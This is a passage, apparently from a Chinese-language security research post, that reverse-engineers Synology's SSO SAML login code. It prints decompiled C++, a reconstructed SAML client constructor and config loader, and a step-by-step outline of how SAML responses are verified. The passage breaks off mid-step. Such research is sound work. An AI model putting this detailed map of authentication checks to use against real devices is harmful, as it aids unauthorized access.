leaf="">if</span></span><span leaf=""> ( v31 || (v14 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">260LL</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">_bittest64</span></span><span leaf="">(&amp;v14, v13)) )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">string::string</span></span><span leaf="">(&amp;nameID, v29, v29 + v30);</span><span leaf=""><br/></span><span leaf="">    local_str = (std::string *)outUser-&gt;data;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf=""> == nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">local_str</span></span><span leaf=""> )</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">      v19 = nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">size</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">size</span></span><span leaf=""> )</span><span leaf=""><br/></span><span leaf="">      {</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">size</span></span><span leaf=""> == </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf=""> )</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">LOBYTE</span></span><span leaf="">(local_str-&gt;data) = nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">local_str</span></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">];</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">else</span></span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">memcpy</span></span><span leaf="">(local_str, nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">local_str</span></span><span leaf="">, nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">size</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        v19 = nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">size</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        local_str = (std::string *)outUser-&gt;data;</span><span leaf=""><br/></span><span leaf="">      }</span><span leaf=""><br/></span><span leaf="">      outUser-&gt;size = v19;</span><span leaf=""><br/></span><span leaf="">      *((_BYTE *)&amp;local_str-&gt;data + v19) = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">      local_str = (std::string *)nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_21;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( local_str == (std::string *)outUser-&gt;local_str )</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">      v20 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">_mm_loadu_si128</span></span><span leaf="">((</span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span leaf=""> __m128i *)&amp;nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">size</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">      outUser-&gt;data = nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">      *(__m128i *)&amp;outUser-&gt;size = v20;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">else</span></span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">      v16 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">_mm_loadu_si128</span></span><span leaf="">((</span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span leaf=""> __m128i *)&amp;nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">size</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">      v17 = *(_QWORD *)outUser-&gt;local_str;</span><span leaf=""><br/></span><span leaf="">      outUser-&gt;data = nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">      *(__m128i *)&amp;outUser-&gt;size = v16;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( local_str )</span><span leaf=""><br/></span><span leaf="">      {</span><span leaf=""><br/></span><span leaf="">        nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf=""> = (</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *)local_str;</span><span leaf=""><br/></span><span leaf="">        *(_QWORD *)nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">local_str</span></span><span leaf=""> = v17;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_21;</span><span leaf=""><br/></span><span leaf="">      }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf=""> = nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">local_str</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    local_str = (std::string *)nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">local_str</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">LABEL_21:</span><span leaf=""><br/></span><span leaf="">    nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">size</span></span><span leaf=""> = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0LL</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">LOBYTE</span></span><span leaf="">(local_str-&gt;data) = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf=""> != nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">local_str</span></span><span leaf=""> )</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">operator</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">delete</span></span><span leaf="">(nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf="">, *(_QWORD *)nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">local_str</span></span><span leaf=""> + </span><span style="color: rgb(0, 92, 197);"><span leaf="">1LL</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_23;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">string::string</span></span><span leaf="">(&amp;nameID, v29, v29 + v30);</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">__syslog_chk</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">3LL</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">2LL</span></span><span leaf="">, aSDUserIsLocalS_0, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_auth.cpp&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">40LL</span></span><span leaf="">, nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf="">, v32);</span><span leaf=""><br/></span><span leaf="">LABEL_34:</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf=""> != nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">local_str</span></span><span leaf=""> )</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">operator</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">delete</span></span><span leaf="">(nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf="">, *(_QWORD *)nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">local_str</span></span><span leaf=""> + </span><span style="color: rgb(0, 92, 197);"><span leaf="">1LL</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  v9 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">LABEL_23:</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( v24 != (std::string *)v26 )</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">operator</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">delete</span></span><span leaf="">(v24, v26[</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">] + </span><span style="color: rgb(0, 92, 197);"><span leaf="">1LL</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">SYNO::SSO::SSOSAMLClient::~SSOSAMLClient</span></span><span leaf="">((SYNO::SSO::SSOSAMLClient *)v28);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf=""> v9;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该函数执行两个主要任务：首先初始化 SAML 客户端 </span><span leaf="">1</span><span leaf="">，然后使用它验证 SAML 响应 </span><span leaf="">2</span><span leaf="">。整个 SAML 验证逻辑都在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">verifySamlResponse</span></code><span leaf="">内部完成。</span></p><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">1</span><span leaf="">SSOSAMLClient 构造函数</span></strong></h4><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">SSOSAMLClient():  (构造函数 — 将 SAML 配置加载到客户端)</span><span leaf=""><br/></span><span leaf="">  字段（默认均初始化为空/false）:</span><span leaf=""><br/></span><span leaf="">    idpIssuerUrl, acsUrl, idpEntityId, nameidFormat, name,</span><span leaf=""><br/></span><span leaf="">    verifyMode, configPath, certPath, matchLocalUser</span><span leaf=""><br/></span><span leaf="">  1. 将 /usr/syno/etc/ssoclient/saml.conf 读取到 JsonValue 中</span><span leaf=""><br/></span><span leaf="">     └─ 读取失败 → 提前返回，所有字段保持默认值</span><span leaf=""><br/></span><span leaf="">  2. 将解析后的 JSON 存储在基础 JsonValue 中（以便调用者可以查看原始配置）</span><span leaf=""><br/></span><span leaf="">  3. 从配置中提取各个字段（缺失时各自回退到默认值）:</span><span leaf=""><br/></span><span leaf="">       • idpIssuerUrl   ← config[&#34;saml_idp_issuer_url&#34;]       or &#34;&#34;</span><span leaf=""><br/></span><span leaf="">       • acsUrl         ← config[&#34;saml_acs_url&#34;]              or &#34;&#34;</span><span leaf=""><br/></span><span leaf="">       • idpEntityId    ← config[&#34;saml_idp_entity_id&#34;]        or &#34;&#34;</span><span leaf=""><br/></span><span leaf="">       • name           ← config[&#34;saml_name&#34;]                 or &#34;&#34;</span><span leaf=""><br/></span><span leaf="">       • matchLocalUser ← config[&#34;saml_match_local_user&#34;]     or false</span><span leaf=""><br/></span><span leaf="">       • verifyMode     ← config[&#34;saml_response_signature&#34;]   or &#34;response&#34;</span><span leaf=""><br/></span><span leaf="">  4. 用硬编码常量覆盖（这些字段的配置值将被忽略）:</span><span leaf=""><br/></span><span leaf="">       • nameidFormat = &#34;urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified&#34;</span><span leaf=""><br/></span><span leaf="">       • configPath   = &#34;/usr/syno/etc/ssoclient/saml.conf&#34;</span><span leaf=""><br/></span><span leaf="">       • certPath     = &#34;/usr/syno/etc/ssoclient/saml_cert.ca&#34;</span></code></pre><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">class</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">SSOSAMLClient</span></span><span leaf=""> : </span><span style="color: rgb(215, 58, 73);"><span leaf="">public</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">Json</span></span><span leaf="">::Value {        </span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">public:</span></span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">SSOSAMLClient</span></span><span leaf="">();</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">bool</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">readSAMLConfig</span></span><span leaf="">(Json::Value&amp; out);</span><span leaf=""><br/></span><span leaf="">    std::string idpIssuerUrl;     </span><span leaf=""><br/></span><span leaf="">    std::string acsUrl;           </span><span leaf=""><br/></span><span leaf="">    std::string idpEntityId;      </span><span leaf=""><br/></span><span leaf="">    std::string nameidFormat;     </span><span leaf=""><br/></span><span leaf="">    std::string name;             </span><span leaf=""><br/></span><span leaf="">    std::string </span><span style="color: rgb(36, 41, 46);"><span leaf="">mNameId</span></span><span leaf="">;         </span><span leaf=""><br/></span><span leaf="">    std::string verifyMode;       </span><span leaf=""><br/></span><span leaf="">    std::string configPath;       </span><span leaf=""><br/></span><span leaf="">    std::string certPath;         </span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">bool</span></span><span leaf="">        matchLocalUser;   </span><span leaf=""><br/></span><span leaf="">};</span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">SSOSAMLClient::SSOSAMLClient</span></span><span leaf="">()</span><span leaf=""><br/></span><span leaf="">    : Json::Value(Json::nullValue)   </span><span leaf=""><br/></span><span leaf="">    , matchLocalUser(</span><span style="color: rgb(0, 92, 197);"><span leaf="">false</span></span><span leaf="">)          </span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    Json::Value </span><span style="color: rgb(36, 41, 46);"><span leaf="">config</span></span><span leaf="">(Json::nullValue);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (!</span><span style="color: rgb(0, 92, 197);"><span leaf="">readSAMLConfig</span></span><span leaf="">(config))</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf="">;                      </span><span leaf=""><br/></span><span leaf="">    *</span><span style="color: rgb(215, 58, 73);"><span leaf="">static_cast</span></span><span leaf="">&lt;Json::Value*&gt;(</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">) = config;</span><span leaf=""><br/></span><span leaf="">    idpIssuerUrl   = </span><span style="color: rgb(0, 92, 197);"><span leaf="">JsGetStr</span></span><span leaf="">(config, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_idp_signin_url&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    acsUrl         = </span><span style="color: rgb(0, 92, 197);"><span leaf="">JsGetStr</span></span><span leaf="">(config, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_acs_url&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    idpEntityId    = </span><span style="color: rgb(0, 92, 197);"><span leaf="">JsGetStr</span></span><span leaf="">(config, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_idp_entity_id&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    name           = </span><span style="color: rgb(0, 92, 197);"><span leaf="">JsGetStr</span></span><span leaf="">(config, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_name&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    matchLocalUser = </span><span style="color: rgb(0, 92, 197);"><span leaf="">JsGetBool</span></span><span leaf="">(config, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_allow_local_user&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">false</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    verifyMode     = </span><span style="color: rgb(0, 92, 197);"><span leaf="">JsGetStr</span></span><span leaf="">(config, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_response_signature&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    nameidFormat   = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    configPath     = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;/usr/syno/etc/ssoclient/saml.conf&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    certPath       = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;/usr/syno/etc/ssoclient/saml_cert.ca&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">bool</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">SSOSAMLClient::readSAMLConfig</span></span><span leaf="">(Json::Value&amp; out)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">static</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf="">* </span><span style="color: rgb(0, 92, 197);"><span leaf="">kConfPath</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;/usr/syno/etc/ssoclient/saml.conf&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    RunAs </span><span style="color: rgb(36, 41, 46);"><span leaf="">guard</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;sso_saml.cpp&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">494</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 92, 197);"><span leaf="">SLIBCFileExist</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">kConfPath</span></span><span leaf="">)) {</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 92, 197);"><span leaf="">SLIBCFileExist</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">kConfPath</span></span><span leaf="">) == </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (!out.</span><span style="color: rgb(0, 92, 197);"><span leaf="">fromFile</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">kConfPath</span></span><span leaf="">)) {</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">syslog</span></span><span leaf="">(LOG_ERR, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;%s:%d failed to load json file&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;sso_saml.cpp&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">506</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">throw</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">std::runtime_error</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;failed to load json file&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">            }</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (!out.</span><span style="color: rgb(0, 92, 197);"><span leaf="">isMember</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_response_signature&#34;</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">            out[</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_response_signature&#34;</span></span><span leaf="">] = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;response&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">true</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    out[</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;sso_saml_enable&#34;</span></span><span leaf="">]              = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    out[</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_name&#34;</span></span><span leaf="">]                    = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;SAML&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    out[</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_idp_entity_id&#34;</span></span><span leaf="">]           = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    out[</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_idp_signin_url&#34;</span></span><span leaf="">]          = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    out[</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_acs_url&#34;</span></span><span leaf="">]                 = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    out[</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_idp_certificate&#34;</span></span><span leaf="">]         = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    out[</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_valid_date&#34;</span></span><span leaf="">]              = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    out[</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_idp_certificate_expired&#34;</span></span><span leaf="">] = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">false</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">2</span><span leaf="">verifySamlResponse</span></strong></h4><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">verifySamlResponse(samlResponseB64):</span><span leaf=""><br/></span><span leaf="">  1. 初始化 OpenSAML，然后初始化 Xerces</span><span leaf=""><br/></span><span leaf="">     └─ 初始化失败 → 抛出 &#34;SAMLConfig::getConfig().init failed&#34;</span><span leaf=""><br/></span><span leaf="">  2. Base64 解码载荷</span><span leaf=""><br/></span><span leaf="">     └─ 解码失败 → 抛出 &#34;decoded Fail&#34;</span><span leaf=""><br/></span><span leaf="">  3. 将 XML 解析为 DOM，然后构建类型化 XMLObject 树</span><span leaf=""><br/></span><span leaf="">     └─ doc 为 null     → 抛出 &#34;doc is null&#34;</span><span leaf=""><br/></span><span leaf="">     └─ object 为 null  → 抛出 &#34;source is null&#34;</span><span leaf=""><br/></span><span leaf="">  4. 如果 SSOSAMLClient.verifyMode ∈ {response, both}: 验证 &lt;Response&gt; 签名</span><span leaf=""><br/></span><span leaf="">     └─ 不是 SignableObject → 抛出 &#34;signable is null&#34;</span><span leaf=""><br/></span><span leaf="">     └─ 无 &lt;Signature&gt;       → 抛出 &#34;getSignature is null&#34;</span><span leaf=""><br/></span><span leaf="">     └─ 签名无效    → 抛出（在 SAML_verifySignature 内部，例如</span><span leaf=""><br/></span><span leaf="">                                &#34;resolve fail&#34; / &#34;certificate can&#39;t be verified&#34;）</span><span leaf=""><br/></span><span leaf="">  5. 消息必须是 samlp:Response</span><span leaf=""><br/></span><span leaf="">     └─ 不是 Response → 抛出 &#34;message was not a samlp:Response&#34;</span><span leaf=""><br/></span><span leaf="">  6. Status 必须为 Success</span><span leaf=""><br/></span><span leaf="">     └─ Status 为 null，或 StatusCode 为 null，或 value ≠ ...:status:Success</span><span leaf=""><br/></span><span leaf="">        → 抛出 &#34;attribute authority returned a SAML error&#34;</span><span leaf=""><br/></span><span leaf="">  7. 对 Response 进行 Schema 验证</span><span leaf=""><br/></span><span leaf="">  8. Response 的 Issuer 必须匹配 idpEntityId</span><span leaf=""><br/></span><span leaf="">     └─ Issuer 缺失  → 抛出 &#34;issuer is null&#34;</span><span leaf=""><br/></span><span leaf="">     └─ 不匹配  → 抛出 &#34;issuer does not match: &lt;value&gt;&#34;</span><span leaf=""><br/></span><span leaf="">     └─ 匹配         → 日志(debug) &#34;issuer: &lt;idpEntityId&gt;:&lt;value&gt;&#34;</span><span leaf=""><br/></span><span leaf="">  9. 必须包含至少一个 &lt;Assertion&gt;</span><span leaf=""><br/></span><span leaf="">     └─ 为空 → 抛出 &#34;resolve is 